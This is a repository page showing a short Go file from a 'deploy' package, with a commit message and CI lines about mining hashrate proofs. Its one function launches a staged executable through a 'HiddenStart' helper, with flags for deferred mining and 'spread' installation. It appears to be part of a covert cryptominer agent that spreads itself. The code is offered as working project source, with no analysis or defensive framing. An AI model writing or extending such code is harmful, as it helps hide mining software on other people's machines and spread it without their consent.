Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
25 lines
526 B
Go
25 lines
526 B
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"strings"
|
|
)
|
|
|
|
func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
|
_ = launch
|
|
_ = dllExport
|
|
args := []string{runFlag}
|
|
if deferMining {
|
|
args = append(args, deferMiningFlag)
|
|
}
|
|
if spreadInstall {
|
|
args = append(args, spreadFlag)
|
|
}
|
|
if err := HiddenStart(dest, args...); err != nil {
|
|
return "", fmt.Errorf("exe launch: %w", err)
|
|
}
|
|
return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
|
|
}
|